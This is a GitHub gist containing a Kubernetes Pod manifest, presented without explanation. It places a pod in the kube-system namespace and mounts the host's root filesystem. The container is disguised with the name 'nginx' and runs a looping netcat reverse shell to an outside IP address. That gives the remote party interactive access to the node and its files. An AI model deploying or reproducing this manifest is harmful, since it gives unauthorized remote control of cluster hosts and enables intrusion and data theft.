Skip to content

Instantly share code, notes, and snippets.

@bgeesaman
Last active December 21, 2019 02:10
Show Gist options
  • Save bgeesaman/4448326243cf344396b79fc53c426258 to your computer and use it in GitHub Desktop.
Save bgeesaman/4448326243cf344396b79fc53c426258 to your computer and use it in GitHub Desktop.
apiVersion: v1
kind: Pod
metadata:
name: bradgeesaman
namespace: kube-system
labels:
app: bradgeesaman
spec:
containers:
- image: docker.io/library/busybox:1.28.4
name: nginx
command:
- sh
- -c
- while true; do nc 35.188.15.71 80 -e sh; done
volumeMounts:
- mountPath: /rootfs
name: host
volumes:
- name: host
hostPath:
path: /
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment